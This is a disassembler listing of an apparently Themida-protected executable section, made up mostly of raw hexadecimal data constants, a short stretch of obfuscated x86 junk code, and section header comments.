0F6ABC65Fh, 1EC821B8h, 0FB8BF540h dd 9E9h, 4591AD00h, 4282AA23h, 0F520A43h, 38Dh, 0C68B6600h dd 0D1B70F5Bh, 8BF96057h, 605A61C6h, 0CE9CA8Bh, 0EA000000h dd 904EA4A5h, 6FE43BA9h, 6162982Dh, 0E856B2B7h, 9, 22C41443h dd 607929F1h, 5A616018h, 0F1BF0F5Fh, 0CAC08160h, 0E80CE0D0h dd 5, 68B3ABA9h, 0DEB70F67h, 0E880615Bh, 0CE9DEh, 1B670000h dd 0ABBF3939h, 9AAFF3F9h, 0C2B6528Ch, 0B866D18Bh, 0D780E164h dd 0F3AFBA84h, 0F78B26C9h, 0AE960h, 0DBB50000h, 1FB96EDh dd 0BB82CDE3h, 6E9h, 1D041800h, 61AAE7E9h, 9EF08166h, 6660FC4Ah dd 66821FBEh, 0C546E381h, 7E961h, 0DA250000h, 2FEC8021h dd 0D981532Ch, 34E80DCh, 13E85Eh, 659F0000h, 0CB82BFEh dd 0D1840DEh, 0FF2B530Fh, 1BFFC145h, 8F0F5B11h, 2, 81660FB7h dd 0F4FA5F1h, 0E950CAB7h, 0Eh, 0AEF76359h, 0FFD2EE24h dd 780BAA22h, 60596215h, 56C0BF0Fh, 8E0Fh, 615B0000h, 68B0Fh dd 0E1810000h, 58B74DBFh, 8E8h, 28CC7F00h, 8D9FA65Fh, 0D8B0FEDh dd 0E8000000h, 7, 0EB26410Dh, 5AF75F3Fh, 0F381665Eh, 0CE886A8h dd 16000000h, 3E587A4Fh, 0CD72A17Ah, 6650C9BBh, 13F4CA81h dd 14E859h, 36F00000h, 2548ED0Dh, 5FF0FE28h, 1BFAF7Eh dd 41FE5BFFh, 0B9607431h, 290BF467h, 8E0Fh, 5B610000h dd 870Fh, 8B660000h, 4840FCBh, 66000000h, 60903CBFh, 0CE9h dd 6F81400h, 0AAA95190h, 52B746C0h, 24A7B820h, 53611573h dd 0B25BE68Ah, 0FBAB00Eh, 882h, 0C8815100h, 78454A4Fh dd 10E95Ah, 0BFBC0000h, 16BF8E74h, 7D54C957h, 7AFB315Eh dd 0EE8B47Ch, 0C5000000h, 33086C3Dh, 84110C41h, 0D5002936h dd 0E1816634h, 0F959F024h, 66D68B66h, 6606D5BEh, 0E8564DBEh dd 5, 0B70972A5h, 59BB669Fh, 840F5B95h, 8, 25F78151h, 5A638E9Eh dd 816653F8h, 58198FC6h, 5FAEB451h, 0D980C28Bh, 0E8C38A95h dd 0Bh, 0FBC05537h, 75E56D1Bh, 58F05F62h, 13E8h, 5490E300h dd 0CAD6A24Ah, 366CE3AAh, 0E5AF4421h, 0C70BA7BFh, 8A0F50h dd 5E000000h, 0F78B358h, 1A80h, 12E800h, 76CC0000h, 8C05F869h dd 33970127h, 8EC57046h, 1DC0A7BEh, 0E95B5856h, 9, 97597542h dd 0C2F04BBBh, 4860F27h, 66000000h, 660C12BBh, 0FAB04B8h dd 86h, 0F6C38100h, 0F7F0EB0h, 1880h, 0FE800h, 0BDBD0000h dd 0BC82D4E6h, 6A1A0AC4h, 0F44BEF3Bh, 0BFD28005h, 0E381665Ah dd 0C681286Fh, 0E504E5Ah, 94BA5160h, 5E67D702h, 617DC280h dd 11E9F9h, 0BC060000h, 93ED9E8h, 0EAA7F8EBh, 0DCA87175h dd 81255D79h, 3AB69BF0h, 0F38B6600h, 1723C381h, 0FFC69A9h dd 888h, 28C0F00h, 60000000h, 2DBB6061h, 615FD573h, 0FD68B66h dd 0B8Dh, 5890F00h, 0BF000000h, 4120730Bh, 7E9h, 77CB5100h dd 9182D3D9h, 0A8BFB950h, 0E9581FFBh, 8, 8E6F2FC5h, 851BD380h dd 1BC98057h, 800F605Bh, 4, 41C7BA66h, 61E9EE80h, 2687B866h dd 0BE9h, 0FA26D00h, 7F69E73Eh, 0FBAB5162h, 0BBABE66h dd 0E9DA8B66h, 14h, 19BFF7FAh, 6591CD40h, 2E28B5B0h, 0ED281AC0h dd 676743B5h, 1BD68166h, 0D0816063h, 40A290E4h, 8B66F961h dd 0D8BB66C1h, 138E0F44h, 0E9000000h, 0Eh, 0FAA4E1Eh, 0AA2D61B6h dd 0F05199ECh, 51B8D5A8h, 8B30CB66h, 8461BEF8h, 0D5800B85h dd 0F960609Fh, 30DABB66h, 61C28A61h, 8166E2B0h, 66094CD9h dd 0A6ADF781h, 12E8h, 0F94A7500h, 0D28985BCh, 72482400h dd 0BC92CA2Eh, 0E9B904F4h, 0Bh, 4B97E92Dh, 5DF7FBCh, 58672E19h dd 731FE2B8h, 8B66F536h, 0E982B7DFh, 0Ch, 0B4D6C408h, 0AFF1100Fh dd 8B22A6C8h, 0B752BE66h, 60EFD281h, 0BF0F09D2h, 14E8C3h dd 0A7480000h, 8824407Ah, 73B6C16Ah, 6763C9ACh, 8BB8647h dd 6660C3B8h, 509415B8h, 605A615Eh, 0D6FBBE66h, 9E8h, 0E25E7C00h dd 0D9299189h, 0DCBE90CDh, 5A19D13Dh, 0BF0F6061h, 585653D3h dd 0BF66615Fh, 0CA8076E0h, 79D6815Ch, 66357A97h, 66D5A8B9h dd 26B8CF81h, 0F0808DB3h, 1820F34h, 0F5000000h, 0AE8h dd 1B50A800h, 35B8EA60h, 80BF795Eh, 0FC5833F2h, 12E9h dd 0C2B8200h, 9560EC43h, 7575B66Bh, 0A033B972h, 6635C4FDh dd 8B66D18Bh, 0AFBF66C1h, 0C3BF0F69h, 8A38C780h, 0CEF380ECh dd 13E95060h, 0DC000000h, 0DD1C1EA7h, 0DD0846FBh, 0D4123B4Fh dd 0BC19D31Eh, 0F55A5425h, 13E95061h, 7D000000h, 0A67EC4F0h dd 0CAB14C88h, 58DE942Bh, 491DA462h, 0F5988E1h, 283h, 0B6F18B00h dd 0CABF0FFBh, 9E8h, 4B32C400h, 1E9D40C9h, 1CB998BAh, 581262FBh dd 66FB8B66h, 4816C181h, 6BC3B8BEh, 29B8660Dh, 12E8F8h dd 0B3A10000h, 55F49B7Eh, 5750146Fh, 0AB9B7353h, 0D7A5EF35h dd 8B0F5BF5h, 4, 38C7B966h, 0AE67B866h, 0E8737DBAh, 0BE60F812h dd 769817AAh, 0EC9B77BAh, 0F38B6179h, 54B953FCh, 5F45C9D5h dd 0FF88B66h, 82h, 0CE8B6600h, 0B70FCB8Ah, 11E9FFh, 0AC1B0000h dd 0EEBFD691h, 7007D0BBh, 7B356F1Ch, 51778B88h, 4006FCBAh dd 0DB95900h, 804CDBDAh, 8DB7C3C8h, 10E9h, 0E11EF200h dd 0E45EA57h, 5D065FC8h, 9415D25Ch, 0BE810h, 264D0000h dd 28F1F6Fh, 0EEC8E727h, 0F525F6Eh, 0F5ECFB7h, 1385h, 0BE800h dd 0AA050000h, 0DFBB4B74h, 4EFC1321h, 5A6160B8h, 66D3E780h dd 0BB66C28Bh, 8B608C44h, 6661F5F1h, 7E9FB8Bh, 0A2000000h dd 198926Eh, 8F0F82E2h, 0Ch, 5E8h, 0F970D00h, 5EF53CDDh dd 22E08166h, 66F18A34h, 0BF0FDF8Bh, 6602B2C6h, 4A66EF81h dd 5BF180F5h, 0C890Fh, 8B0F0000h, 6, 890Fh, 0B8560000h dd 51395592h, 0BD3815Ah, 6675A3DDh, 0F9E232BBh, 0A76CB866h dd 0CCFABA60h, 6661353Ch, 0FC3CCBEh, 58Fh, 898BA00h, 0F2813777h dd 57921026h, 0BE960h, 0A6AB0000h, 0D8ECFB13h, 7AFFDAE3h dd 80C28168h, 6172DCFCh, 12E9h, 94856900h, 7A1580C0h, 7137D2D6h dd 7AEAEA7Ah, 66BBEAB5h, 6660D68Bh, 0C181C78Bh, 71D27ABBh dd 0F7BF0F61h, 60C9BF0Fh, 14E9h, 0AF9BA700h, 86F5F6D2h dd 3A5480F9h, 42FB1998h, 0CD35D1C2h, 13E8B4h, 95890000h dd 840D57CAh, 23973122h, 0C287A43Ch, 31EC8224h, 0E2DE81B9h dd 590275A2h, 0EE961h, 0C5CF0000h, 68417743h, 61C03B55h dd 6C289397h, 0F8B8C480h, 0CF8B6EB3h, 0FDAB70Fh, 38Ch dd 0F9B70F00h, 0FAF9B960h, 5E93F9Eh, 0A8000000h, 0DEF8FC05h dd 8497B961h, 0EE93D07h, 17000000h, 0FD322EAAh, 0AF0472AEh dd 878C6525h, 74F780BAh, 3820Fh, 0B70F0000h, 665251D3h dd 5B58DE8Bh, 3C72ACBFh, 0CE9F821h, 7A000000h, 29133C00h dd 0CC52EB1Bh, 8018272Dh, 60B71FEAh, 4BE18166h, 0E1B96669h dd 0D16BBB78h, 8D0F33FDh dd 2, 0EE9C68Bh, 0C6000000h, 88D4749Dh, 5D5B743Ah, 4FD093DFh dd 1DB95694h, 5A3E930Ah, 0AE9h, 0C812C700h, 53E6F253h dd 0F575C50h, 0C781C2BFh, 6D8D033Eh, 2870Fh, 45B40000h dd 0F78B5260h, 0D38B665Bh, 0CA816661h, 890FC614h, 9, 38F0Fh dd 8B660000h, 8E9C2h, 0B5D50000h, 0B4CA603Bh, 6653C5C3h dd 7AB5EA81h, 3800F5Bh, 0F000000h, 0BF0FF8BFh, 0FCA8BC1h dd 81FCDABFh, 0EB0E90E2h, 0CE97Ah, 596D0000h, 0FCD87FDFh dd 8DD14A5Dh, 8E977FFh, 0D3000000h, 0CBB35CCCh, 0FBD9D59h dd 28Ah, 663EB400h, 0BF0FC88Bh, 0CF8B66C9h, 13D009B9h dd 0D6BF0F38h, 6FBE63B0h, 66512E62h, 6660C78Bh, 0FB352B8h dd 1788h, 11E800h, 77A0000h, 0AA0AF49Ah, 0CFFAD7A3h, 56BFCE4Ch dd 581BE83Eh, 80B8B161h, 8E0F56EDh, 7, 1890Fh, 0FFC0000h dd 8Fh, 36BF6600h, 5860F7Ah, 60000000h, 61C28B66h, 0BF0FFB8Bh dd 0B60BB8FFh, 0BA663FC0h, 5052DE34h, 81595FF8h, 3E2D3AC1h dd 840F607Fh, 0 dd 12E8h, 1E472F00h, 495640BCh, 531E5494h, 0B5C15B48h dd 66EF0B0Fh, 615FD08Bh, 28A0Fh, 57B40000h, 13E9h, 0C3F4D900h dd 14C45685h, 5FF9BF17h, 0C6BE9F01h, 610904C4h, 6E9h, 0E932E200h dd 0E838A6AEh, 0Bh, 6506B7AAh, 72B1646Fh, 0E8FBF5BDh, 5 dd 3497ACC1h, 8B5E5A8Fh, 6BEE81D7h, 0F1FC338h, 0D78BDBBFh dd 8820Fh, 840F0000h, 2, 0F28B5E57h, 9E9h, 5F931C00h, 1C5958FBh dd 850F55E6h, 10h, 0A8B0Fh, 5E90000h, 61000000h, 7D1792E7h dd 80CEBF0Fh, 0BF0F38E4h, 8E9F6h, 49DF0000h, 6D289A93h dd 0FCB2A5C4h, 7D74B966h, 58C0Fh, 81660000h, 8114D3E1h dd 55FB2BE6h, 9E97Fh, 83980000h, 9D807870h, 0E8C9E7DEh dd 10h, 0BE833E13h, 0A3A72742h, 52387302h, 0F8F2656Bh dd 8E95BFCh, 0E2000000h, 0DD76680Ch, 0F6F599Dh, 830FF1BFh dd 2, 0C880D88Bh, 66F98B04h, 568992B8h, 43CBE9BFh, 0BF0F5E47h dd 0B96651CEh, 815FCFECh, 0D34094DEh, 0F1BF0F3Eh, 85BFEA8Ah dd 0E97EF2B9h, 9, 0E52DAA34h, 0E915F935h, 6650F9AFh, 0F0ABDF81h dd 0BF0F5658h, 81665FF1h, 0E87010D8h, 9, 0D2F207E2h, 7AF930DBh dd 0F6059A2h, 28Ch, 66BCB700h, 0E961C28Bh, 0Eh, 95B64BC1h dd 0CC2E1CE1h, 0F9591FA9h, 0BFF818E1h, 4E3C9Ah, 14E973B5h dd 2C000000h, 0F7DC7EBAh, 477EC701h, 0A3F05227h, 0A5382C95h dd 0E97A110Ah, 0Ch, 9E7E6C4Bh, 154457EBh, 1A8BAD16h, 0DE9h dd 88826800h, 6E2EEE88h, 928774C6h, 816667F7h, 8B7BA4C7h dd 0CE8CEh, 85580000h, 0AE9C601Dh, 9258AE83h, 850FBBD2h dd 1, 5E85AF8h, 93000000h, 81F4E7E3h, 0E85EDE8Ah, 8, 396C1C7Fh dd 0DC2C3934h, 0B8F0Fh, 6E90000h, 0D0000000h, 7628EDEDh dd 0DE80589Dh, 0D3B70F24h, 45C510BEh, 9E94Eh, 0F4640000h dd 58C43ECh, 0F4E88E8h, 8166D9B7h, 0FC570EEh, 0D681CEBFh dd 45304757h, 0F08AF88Ah, 1A810Fh, 11E80000h, 0DC000000h dd 0BFB08FBDh, 7A0B3CD8h, 0C0D249ECh, 120AACDEh, 59F38B66h dd 0DEA8166h, 32B8662Ah, 1BB96695h, 0CABF0F8Ah, 0A1F1BA66h dd 28E0F52h, 0B7000000h, 0DF805F46h, 8BDE8BB7h, 13E8D7h dd 40FA0000h, 0C52FFBA4h, 7EAE71E3h, 0A3CE8868h, 310FBB9Bh dd 38A0F5Ah, 66000000h, 0B15AD18Bh, 108E0F9Ah, 0E8000000h dd 9, 8446C39h, 3270DD7Bh, 815BF55Fh, 4C0CFADEh, 0DE84Ch dd 2E0000h, 5FD45960h, 18EFF2B2h, 0F765882h, 28Ah, 5F5A5300h dd 14E9h, 4B6F9200h, 0E210CA74h, 0AF41D4BBh, 0BA9FDD58h dd 1110EFh, 1DF7812Dh, 6027DB9Eh, 8CC4EDB8h, 12E96167h dd 62000000h, 8BAEB4A7h, 7D79BC2Dh, 0F73D5ED1h, 4EB5558h dd 0BE9C6h, 29570000h, 0E4F96257h, 0E735845h, 0C9BF0F8Eh dd 0F4BBBE66h, 0D9E78152h, 5965D2D8h, 0CE9h, 58B79C00h dd 3DCC4215h, 1EEEB8EDh, 60575785h, 0B25F5B61h, 0DC80F599h dd 5E9C0h, 0BA3F0000h, 6014460Fh, 2800Fh, 61600000h, 61D38B66h dd 8880Fh, 0F520000h, 8Bh, 13E95F00h, 9C000000h, 0CB612C8Ch dd 535A6CE7h, 0F1160144h, 0C9C1A7F5h, 0F780972Eh, 11B8F8E7h dd 661D13B2h, 0B9E3FCBEh, 15221FB0h, 0BF8E381h, 0B70F1B42h dd 0E9D08BFEh, 9, 0A0AC1CBFh, 372C1A7Ch, 13E99Bh, 29E20000h dd 0B1A62934h, 0E0D0DE1Ch, 383C77D8h, 9BC21CD5h, 0CE8B6638h dd 0E9FE8B66h, 5, 9EFF1E48h, 85AAB93Ah, 8F0F1BEDh, 0Fh dd 0AE9h, 0DDE31100h, 0A9AFD8A8h, 0E9B9DCE8h, 8, 0C4E4F2B9h dd 0B66D5272h, 1FA5BA66h, 0CE8h, 0B8255800h, 9F43ED76h dd 3EED1340h, 0DEB70F35h, 62E48058h, 0EE9h, 6A53A000h dd 1A98357Ah, 9A5FECD0h, 0E94BB3DCh, 5, 0E027C57Bh, 5E9C9h dd 0D8060000h, 661CCDADh, 4F73C081h, 66E0D780h, 80C87BBEh dd 0DA8A73D8h, 0B850FF9h, 0F000000h, 588h, 0C7816600h dd 0F2B88F39h, 66699569h, 0F40B4BAh, 0D80h, 8E900h, 0F01E0000h dd 21C9CA3Fh, 8B668A55h, 1CB866F7h, 0AE91Dh, 552A0000h dd 0B6DCAF45h, 0C9A0FF60h, 890FEF8Ah, 2, 0ED80F88Bh, 15D18113h dd 8B653EF3h, 0AE8FBh, 0DBA10000h, 75D07939h, 4D47346Fh dd 6E44BF66h, 8C0F58h, 8B000000h, 48B0FC6h, 66000000h dd 0B44EBABBh, 22BB667Bh, 6820FD4h, 0F000000h, 84h, 58A0F00h dd 66000000h, 6566F781h, 0B70FF28Bh, 0CFB4FCD9h, 7B6F88Bh dd 0D4F380F8h, 0B9F78B66h, 1514EF5Ah, 60C0B70Fh, 68D0Fh dd 880F0000h, 0 dd 61F88B66h, 0FE8D48Ah, 33000000h, 0E759251Bh, 41FCBC5Ah dd 27F86B07h, 6659863Dh, 8BF7EBBAh, 0BE9CAh, 1E1A0000h dd 41EF1119h, 0FE796F30h, 66C88BD7h, 0DE8DC181h, 64BB66F9h dd 0D1816686h, 0DB80D750h, 118D0FBCh, 0F000000h, 0B8Fh dd 6E900h, 764B0000h, 52051E6Eh, 91BBD18Bh, 66457DA1h dd 800FD78Bh, 2, 0F85147B7h, 7E858h, 0A4F90000h, 478B3862h dd 3810FAAh, 0F000000h, 8B59F2BFh, 0CA8B66F3h, 6E9h, 9BED5E00h dd 80FF261Dh, 0CE817AD7h, 61BE72BEh, 0B866C18Bh, 7E9065Dh dd 55000000h, 15F2701Dh, 0E9F544B4h, 0Ch, 0FC0FD0D3h, 3E6605AAh dd 0D1D80F8h, 108B0Fh, 0BE90000h, 0C2000000h, 1114BEFDh dd 4DAC65Ch, 0CE81A5D7h, 56B73BDAh, 666CD1BEh, 8A0F74h dd 0B5000000h, 0E6BA6678h, 14E9F8C2h, 3B000000h, 370A1B02h dd 63D14819h, 0B69423EFh, 9A1317C8h, 0F80BFA8h, 89h, 0BE800h dd 2CC60000h, 325CBDC3h, 0DD0B1593h, 12E9C0h, 0A7B60000h dd 8D2E1F48h, 0D3E94186h, 0EA2512D2h, 43A380Bh, 65E3815Bh dd 0F41D5A1h, 38Fh, 0DBBF0F00h, 67B0D081h, 0B866663Dh dd 5E9987Bh, 27000000h, 2BAAC285h, 81CF8B66h, 85D8D2E1h dd 0C78B6673h, 18D0FFCh, 0F8000000h, 0B9B1CE8Bh, 0CD08166h dd 0C08166F9h, 0E881BD0Eh, 504846CAh, 34D68166h, 36BE6674h dd 0E181668Fh, 0E852060Bh, 0Eh, 5C0FFC0h, 0ACBB5A84h, 0DC187931h dd 26B833C9h, 5E3C13CBh, 5800F59h, 66000000h, 0D81ED981h dd 46C38057h, 0DE958h, 0C3FB0000h, 2034BA42h, 917644A2h dd 6630AB78h, 0F4DEBBFh, 6650D9BFh, 0F5AC88Bh, 8152CBBFh dd 38D6C3D8h, 9E95F04h, 0A8000000h, 0A16E23A9h, 91F6961Eh dd 11E9h, 2BF8DF00h, 0C0B794E2h, 44B7788Dh, 347FAB75h dd 0BF0F4757h, 0CE8C7h, 0DF340000h, 390CE9A0h, 938B8494h dd 12E97ADCh, 7000000h, 0DBB4C2F7h, 38C5E242h, 49F3B3A4h dd 44C0B86Fh, 8166591Ch, 0F54CB9E8h, 850F61B5h, 1, 0F5E781F8h dd 6629DA4Eh, 0C381D68Bh, 5A802C0Dh, 8E8h, 4FCA3D00h, 9438156Eh dd 0B796B9B5h, 8A5F66A7h, 66DF8BE6h, 5DECD681h, 0C60BBE66h dd 3C0A51B9h, 11E830h, 8CEA0000h, 65564482h, 4A85DFFFh dd 2607D6E9h, 0F965AC1h, 118Ch, 0CE900h, 68660000h, 843EDA00h dd 3F282C25h, 0F5583AF2h, 0F814BF66h, 0DE9EDB1h, 66000000h dd 3F512E1Bh, 0C3393525h, 0EC10F4B8h, 0BFD78B66h, 2993DAFh dd 14E9h, 0AE376900h, 0E092C664h, 0AD1F1D8Ah, 279CA73Ah dd 48CE9F91h, 0EF81664Ch, 0FC51C121h, 6BBA665Ah, 0E860FCDFh dd 0Dh, 1D149AA7h, 1F2D54B9h, 0AA6880BDh, 43E18119h, 5931D249h dd 80615856h, 8B0FBAC3h, 9, 38B0Fh, 0B70F0000h, 860FF6h dd 53000000h, 5BA6E680h, 27F18166h, 0D5BE666Eh, 0BAC38B64h dd 58B6D7CDh, 0F48AFCFCh, 30BF6660h, 61FA8BB8h, 5360BBB6h dd 61F8605Eh, 0BABA6661h, 0FA8B665Ch, 0D98B6650h, 0AE95Fh dd 0B7E00000h, 3D9EF83Ch, 86ADF3B7h, 0C18B52F9h, 28A0F5Eh dd 8B000000h, 8E8DAh, 7DFF0000h, 2805707h, 816605E2h, 585B57C3h dd 6810Fh, 0E3810000h, 2E0156A6h, 61DD8A60h, 0BACEBF0Fh dd 7E7C0CD2h, 97DCD081h, 0DBB53C1h, 0F459AD5h, 381h, 0F78B6600h dd 8166F38Ah, 8B7A38F1h, 7BEE81F8h, 812BB493h, 33098D0h dd 2840F51h, 0B7000000h, 6E960h, 0C30000h, 0E99386EFh dd 9E8h, 6E016C00h, 7225EAB7h, 0B70F8189h, 0E9F558C8h dd 14h, 5B02FBD9h, 0B24F5E13h, 55CCFA82h, 2EBF1617h, 0B3012BEDh dd 0F1B1F181h, 4EB169B9h, 8B661AB7h, 0C28B66DAh, 30B045BEh dd 0BE8573Fh, 0C4000000h, 8A800FA4h, 18A81DBDh, 0CBB732E5h dd 8B665B59h, 0DE9CFh, 0DF5C0000h, 0D4929218h, 0B8D7E19Eh dd 607CD518h, 61C9BF0Fh, 66A8CA80h, 3301E981h, 1830Fh dd 60FC0000h, 20F18151h, 5845469Ch, 4ADDF181h, 0F6132A3h dd 282h, 8BF28B00h, 0D68152C8h, 7F09666Ch, 0FFBF605Eh dd 0E9335995h, 12h, 83995E55h, 0D275D543h, 0DEBA0C54h dd 7BA00166h, 66619875h, 0FB9CBBFh, 68Fh, 0B0C18100h, 661F72D8h dd 8B3A0ABAh, 18870FC6h, 0E8000000h, 10h, 5DC9FE13h, 0ADBCE135h dd 5F0422C9h, 22FECA22h, 6658C18Bh, 6E8D98Bh, 0D6000000h dd 25D445Fh, 48BB66DDh, 8C0F5E84h, 0 ; --------------------------------------------------------------------------- mov esi, 2637C841h cmc jns loc_5CD58B movzx ebx, bx loc_5CD58B: ; CODE XREF: Themida_:005CD582j mov edx, 18958D9Dh pusha mov bh, 0Ch mov si, ax popa mov ebx, edi jmp loc_5CD5A5 ; --------------------------------------------------------------------------- daa inc edi mov bl, 5Fh jmp short loc_5CD5EB ; --------------------------------------------------------------------------- loc_5CD5A5: ; CODE XREF: Themida_:005CD599j mov ah, dh and bl, 0F2h jnb loc_5CD5B2 mov eax, ebx loc_5CD5B2: ; CODE XREF: Themida_:005CD5AAj movzx ebx, ax call sub_5CD5C1 dec ecx enter 0FFFF9EB0h, 0E5h js short loc_5CD620 ; =============== S U B R O U T I N E ======================================= sub_5CD5C1 proc near ; CODE XREF: Themida_:005CD5B5p mov ebx, 765ED367h pop edi mov bx, 0CE2h jmp loc_5CD5E3 ; --------------------------------------------------------------------------- dd 0D9AAA83Fh, 7CA81148h, 48C73BC2h, 0C531E0BFh db 0F5h, 13h, 70h ; --------------------------------------------------------------------------- loc_5CD5E3: ; CODE XREF: sub_5CD5C1+Aj jmp loc_5CD5F0 ; --------------------------------------------------------------------------- db 0AAh, 0E2h, 1Dh ; --------------------------------------------------------------------------- loc_5CD5EB: ; CODE XREF: Themida_:005CD5A3j daa ; --------------------------------------------------------------------------- dd 1354B788h ; --------------------------------------------------------------------------- loc_5CD5F0: ; CODE XREF: sub_5CD5C1:loc_5CD5E3j xor ax, 0D6D9h jmp loc_5CD604 ; --------------------------------------------------------------------------- dw 0B2Eh dd 6EE9F2DCh, 81DFDB8Fh ; --------------------------------------------------------------------------- loc_5CD604: ; CODE XREF: sub_5CD5C1+34j jmp loc_5CD615 ; --------------------------------------------------------------------------- db 5Eh, 0DBh, 0FCh dd 304CD976h, 0A731D200h db 0DDh ; --------------------------------------------------------------------------- loc_5CD615: ; CODE XREF: sub_5CD5C1:loc_5CD604j call near ptr loc_5CD620+1 push esp sbb al, 13h or [esi-70h], edx loc_5CD620: ; CODE XREF: Themida_:005CD5BFj ; sub_5CD5C1:loc_5CD615p shr ecx, 13h sub_5CD5C1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 14EF0000h, 2E6E86D0h, 7E3EF4EEh, 33850E78h, 2ECA724Ch dd 0BB665E12h, 0AE85C56h, 36000000h, 45BA7DD8h, 61641FDEh dd 15820F53h, 0E9000000h, 10h, 0B85D627h, 0A449C6EDh, 0AAE07272h dd 82C72541h, 81BB6658h, 0FA8B66C9h, 4416BB66h, 9860Fh dd 8B0F0000h, 3, 0B0F78B66h, 0DE91Eh, 0E3FB0000h, 8A3CC90Fh dd 6F0A0351h, 8BF0ECB3h, 3890FF8h, 66000000h, 820FD88Bh dd 13h, 0EE9h, 0A3DD5400h, 0AD353130h, 0A7A9168h, 0FB6D970h dd 8B66FEBFh, 9E9D0h, 3C110000h, 8C41B332h, 0F416323h dd 6660D3B7h, 562D881h, 0FE8h, 42B73600h, 66E4C4A6h, 57C7203Fh dd 40701B40h, 11E9h, 78755B00h, 0ED65AC4Fh, 7BB4A270h dd 2D0B45E9h, 61588E3Ch, 0B5DFB70Fh, 0CE94Bh, 8F7D0000h dd 0D8F31470h, 1EC58010h, 80608FD2h, 8166E9ECh, 6120DFD2h dd 0EBADE981h, 39BE41BFh, 8B03E082h, 0F0B70FF0h, 0F8F1B70Fh dd 8B6640B4h, 8D0FCAh, 81000000h, 19B0ECDBh, 56F96058h dd 11E9615Fh, 0BA000000h, 64D33BBEh, 0A82460D5h, 7D43AB19h dd 0AD9490A3h, 0E6DA8166h, 66CF8B15h, 0EE9C38Bh, 58000000h dd 2F90A4B7h, 0E8988340h, 90EF3AA5h, 0F081FCC0h, 4BDACEBFh dd 80F18B66h, 5E9EAE0h, 1000000h, 2FC7E8AAh, 81CFBF0Fh dd 708A0FDBh, 7EEE8120h, 8B61B2AEh, 68D0FD9h, 60000000h dd 0CA8B6160h, 92E28161h, 0E96611D2h, 5, 0C62D85A8h, 0D780F989h dd 0D681667Ch, 0EBB354A3h, 9E9h, 7802C600h, 8174F882h dd 8B66F8F0h, 71DF80CAh, 5800Fh, 81660000h, 51FBAACBh dd 8B5AFE8Bh, 0C88166FEh, 0EF8AC0CDh, 1FDCBE66h, 58E0Fh dd 81660000h, 0BFD5F5C0h, 121E5A8Ah, 0FD8B70Fh, 1585h dd 10E900h, 43010000h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah dd 0C88BAF6Bh, 0FE9h, 3056E900h, 5F6A22Ah, 61DE4F3Ah, 3BE57345h dd 13E8h, 0E6DB1800h, 0FB4AFF6Ah, 8693F545h, 0B586B97Fh dd 470ACB2Eh, 0BE95Fh, 0FDC0000h, 0A22C7748h, 84ED3198h dd 77C68102h, 660C632Ch, 0CB70EE81h, 0C2D08166h, 10E957h dd 0A8460000h, 0A698615Bh, 5BC4BBF2h, 0A531400Dh, 0F608CB9h dd 682h, 8C0F00h, 0F000000h, 289h, 61D38B00h, 8152DE8Bh dd 972D89D2h, 13E95B5Eh, 33000000h, 72A8573Fh, 190164Eh dd 2FC7E8AAh, 649A5791h, 0E8FC2B32h, 0Ch, 0E528C2A3h, 53441502h dd 72FDAE0Eh, 5259CE8Ah, 0CEBF0F5Bh, 68F0Fh, 0DA810000h dd 2B56B392h, 0CEB70FF5h, 820F5656h, 0 dd 0D0815959h, 69C8B26h, 65DB8166h, 85F6802Eh, 0AE8h, 40E0A800h dd 71522E0Ah, 0B6E1970Fh, 0BE66583Dh, 0C1808D8Eh, 48A0F0Eh dd 66000000h, 0B600B5B8h, 0F9F08ABDh, 0FCF18B66h, 0CE960h dd 354F0000h, 0EDA56DDBh, 0B6504DB0h, 0B4B783FCh, 0AE961h dd 0CB1A0000h, 8F920FC6h, 694095DFh, 14E9B6B2h, 0C5000000h dd 0E7AA5693h, 7B7A9895h, 6BEEAF67h, 58BF30F1h, 6099CF0Dh dd 61C88BFCh, 597FBF66h, 40B9F781h, 6E85640h, 35000000h dd 66A0362Dh, 12E923h, 40990000h, 0FEC604Dh, 6EA7ECD8h dd 0F33C607Dh, 49D38E80h, 5E8F558h, 0B7000000h, 717CC5Ch dd 36D7F0B9h, 0EE95967h, 0C4000000h, 11166131h, 219D75EEh dd 0B95670E1h, 0D08B661Fh, 8BF9CB8Ah, 0F98B66F7h, 830Fh dd 81660000h, 0F914CDD8h, 7E8h, 65456B00h, 0C9D8A2ECh dd 0FE95FF5h, 94000000h, 698A042Fh, 0D2A33744h, 9FF87342h dd 66F96FEFh, 0F08BC68Bh, 0BE9h, 5A40A00h, 3B95B0h, 977D0F37h dd 62AF12BEh, 0D88B6654h, 0BE8FCh, 0DF6A0000h, 0A31E6446h dd 3B352F2Bh, 0E1D281E0h, 586FC129h, 16BB9EB6h, 66103880h dd 0E909C5BBh, 0Ah, 4D44CF62h, 477B9A1Ch, 8F0F4BDAh, 6 dd 5B92C781h, 0BA660C12h, 8B605218h, 14E281CFh, 615875FEh dd 0EE8h, 5BAA1200h, 333754FBh, 30AC0C66h, 0B132D0A0h dd 8F0F5F78h, 3, 0E8E4E980h, 13h, 91BDB643h, 0BF607675h dd 90123F88h, 0B65A61CDh, 0E90C0CC6h, 12h, 0FF3F4B58h dd 4BE69A09h, 0E0707B7Dh, 0C04B6BB8h, 0B05F2BD1h, 5E982h dd 4FAE0000h, 0E8B03582h, 12h, 0E43EBAECh, 32B6EE40h, 0D6419D55h dd 5323BCEFh, 0F50FDFFh, 5A5EC2BFh, 7A91BE66h, 0B551EE81h dd 0BF0F43E1h, 6018B1DFh, 8E9h, 0D38E8000h, 475F0F49h dd 0BC7761CEh, 252h dup(0BC76A0D3h), 47E2A0D3h, 83h dup(47E28E31h) dd 2ADh dup(48822F7Dh), 82822F7Dh, 144h dup(82646A9Ch) dd 67F4749Ch, 0DBh dup(67F4747Fh), 0EB86417Fh, 1E7h dup(0EB86417Bh) dd 0F3DFDC7Bh, 9Ch dup(0F3DFDC1Ah), 0F015101Ah, 0B8h dup(0F015100Fh) dd 0CCCCCC0Fh, 91Ch dup(0CCCCCCCCh), 0CCCCh, 894h dup(0) db 3 dup(0) byte_5D4D5B db 0 ; DATA XREF: ___:off_431980o dd 14A9h dup(0) Themida_ ends ; Section 5. (virtual address 001DA000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001DA000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5DA000h dd 80h 